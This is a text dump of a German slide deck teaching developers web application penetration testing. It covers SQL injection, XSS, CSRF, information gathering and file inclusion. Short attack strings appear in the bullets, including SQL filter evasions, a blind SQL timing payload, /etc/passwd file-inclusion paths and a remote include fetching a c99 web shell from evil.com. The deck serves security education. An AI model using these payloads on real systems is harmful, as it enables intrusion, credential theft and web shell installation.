    110. 110. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion 24
    111. 111. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion» Umgehen von Escaping mit Funktionen 24
    112. 112. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion» Umgehen von Escaping mit Funktionen » char(65) an Stelle von ‘a‘ 24
    113. 113. Code / OS Level Executions 25
    114. 114. Code / OS Level Executions» Shell Kommando Escaping» Standardlösung: Escape von “#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done) 25
    115. 115. Denial of Service 26
    116. 116. Denial of Service» Schutzmaßnahmen 26
    117. 117. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider 26
    118. 118. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver 26
    119. 119. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS 26
    120. 120. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth 26
    121. 121. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert 26
    122. 122. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban 26
    123. 123. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban» Evasion über teure Operationen 26
    124. 124. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban» Evasion über teure Operationen » z.B. Registration, FriendOfAFriend, Suchen mit Rechteprüfung 26
    125. 125. File Uploads 27
    126. 126. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation 27
    127. 127. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation» Abwehr: Virtualisierung der Ablage, Virenchecks 27
    128. 128. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation» Abwehr: Virtualisierung der Ablage, Virenchecks» Umgehung » Flash-Security: einschmuggeln einer crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung 27
    129. 129. Local File Inclusions» include “const“.$_GET[‘bla‘].“const“; » ?bla=/../../etc/passwd%00 » ?bla=/../../var/log/apache/access_log » ?bla=/../../var/log/vsftp.log%00» include $_GET[‘bla‘] . “const“; » ?bla=data://text/plain;base64,P... » ?bla=php://filter/resource=http://evil.com/ c99.txt 28
    130. 130. Information Disclosure» Geschützt durch korrekte (Fehler-)Ausgaben» Umgehung » Timing-Attacken (Login: Username existent?) » Artifakte » Content-Disclosure Fehler 29
    131. 131. Motivation Pentesting für Entwickler 30
    132. 132. Motivation Pentesting für Entwickler» Know your enemy 30
    133. 133. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security 30
    134. 134. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse 30
    135. 135. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden 30
    136. 136. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden 30
    137. 137. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness 30
    138. 138. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness» Security ist komplex 30
    139. 139. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness» Security ist komplex » Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich 30
    140. 140. Information Gathering 31
    141. 141. Information Gathering» Infrastruktur 31
    142. 142. Information Gathering» Infrastruktur» Host 31
    143. 143. Information Gathering» Infrastruktur» Host» Webserver 31
    144. 144. Information Gathering» Infrastruktur» Host» Webserver» Webapplikationen 31
    145. 145. Information Gathering - Infrastruktur 32
    146. 146. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server? 32
    147. 147. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server?» Tools » whois, Nmap, BSI OSS Security Suite, fierce 32
    148. 148. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server?» Tools » whois, Nmap, BSI OSS Security Suite, fierce» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene Datenbank-Server etc 32
    149. 149. Information Gathering Host 33
    150. 150. Information Gathering Host» Nmap: offene Ports, welche Services 33
    151. 151. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen? 33
    152. 152. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint 33
    153. 153. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP http://myipneighbors.com 33
    154. 154. Information Gathering Webserver 34
    155. 155. Information Gathering Webserver» Google Dorks 34
    156. 156. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php 34
    157. 157. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow 34
    158. 158. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner 34
    159. 159. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library 34
    160. 160. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library» http://www.netcraft.co.uk/ 34
    161. 161. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library» http://www.netcraft.co.uk/» FoundStone SuperScan 34
    162. 162. Lifedemo» myipneighbors.com» Wikto» Goolag Scanner 35
    163. 163. Zielhost: Artifakte 36
    164. 164. Zielhost: Artifakte» Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig 36
    165. 165. Zielhost: Artifakte» Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries 36
    166. 166. Parameter Manipulation 37
    167. 167. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies 37
    168. 168. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen 37
    169. 169. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent 37
    170. 170. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client 37
    171. 171. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header 37
    172. 172. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header » Accept-Header: Language, Encoding 37
    173. 173. Pentesting Webapplikationen 38
    174. 174. Pentesting Webapplikationen» Tools 38
    175. 175. Pentesting Webapplikationen» Tools» XSS Pentesting 38
    176. 176. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting 38
    177. 177. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL 38
    178. 178. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection 38
    179. 179. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection » Blind SQL Injection 38
    180. 180. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection » Blind SQL Injection» Information Disclosure 38
    181. 181. Tools zum manuellen Pentesten 39
    182. 182. Tools zum manuellen Pentesten» Browser: Firefox 39
    183. 183. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins 39
    184. 184. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data 39
    185. 185. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar 39
    186. 186. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar » Firebug 39
    187. 187. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar » Firebug» Greasemonkey XSS Assistant 39
    188. 188. XSS Pentest 40
    189. 189. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? 40
    190. 190. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?» Wird die Seite mit diesem String manipuliert? 40
    191. 191. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?» Wird die Seite mit diesem String manipuliert?» Typisches Beispiel: Frames und Iframes 40
    192. 192. XSS Pentest 41
    193. 193. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt 41
    194. 194. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren 41
    195. 195. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden 41
    196. 196. CSRF Pentesting 42
    197. 197. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz? 42
    198. 198. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja 42
    199. 199. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? 42
    200. 200. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? 42
    201. 201. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein 42
    202. 202. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein » existiert ein Referer-Check? 42
    203. 203. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein » existiert ein Referer-Check?» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen 42
    204. 204. SQL Injection Pentesting 43
    205. 205. SQL Injection Pentesting» Parametermanipulation 43
    206. 206. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen 43
    207. 207. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? 43
    208. 208. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? » Ändert sich etwas an den dargestellten Werten? 43
    209. 209. SQL Injection Pentesting 44
    210. 210. SQL Injection Pentesting» Rekonstruktion der Query 44
    211. 211. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? 44
    212. 212. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler 44
    213. 213. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch 44
    214. 214. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests 44
    215. 215. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union 44
    216. 216. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare 44
    217. 217. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare» Erkennung der Datenbank und Version 44
    218. 218. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename 44
    219. 219. SQL Injection Pentesting - Blind SQL Injection 45
    220. 220. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis 45
    221. 221. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren 45
    222. 222. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC 45
    223. 223. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC 45
    224. 224. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt werden 45
    225. 225. Information Disclosure Pentesting 46
    226. 226. Information Disclosure Pentesting» Nach Artifakten suchen 46
    227. 227. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren 46
    228. 228. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation 46
    229. 229. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen 46
    230. 230. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 46
    231. 231. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt! 46
    232. 232. Information Disclosure Pentesting» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren » Parameter-Manipulation » gezielt Sondernzeichen nutzen » ‚ %00 %0A %0D %27 » Häufig sind Angaben in den Kommentaren versteckt!» Typische Files: /admin/, /README etc 46
    233. 233. Andere Vektoren 47
    234. 234. Andere Vektoren» XPATH injections 47
    235. 235. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax 47
    236. 236. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE 47
    237. 237. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections 47
    238. 238. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files 47
    239. 239. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections 47
    240. 240. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws 47
    241. 241. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws » Missing authorization checks 47
    242. 242. Andere Vektoren» XPATH injections » Similar to SQL injections using XPATH syntax» XXE » XML external Entity Injections » Upload an XML file including references to local files» LDAP injections» Logical Flaws » Missing authorization checks » /user/edit.php?id=1 for admin editing 47
    243. 243. Hands On» Einfache SQL-Injection» Blind SQL Injection» Hackme „OWasp Casino“ » SQL-Injection » Cross Site Request Forgery » Logischer Fehler 48
    244. 244. Freiwilliger Penetration Test» Nur Suche nach XSS-Lücken» Gerne auch private Seiten 49
    245. 245. Fragen?» 50
    246. 246. Vielen Dank für Ihre Aufmerksamkeit! 51

    ×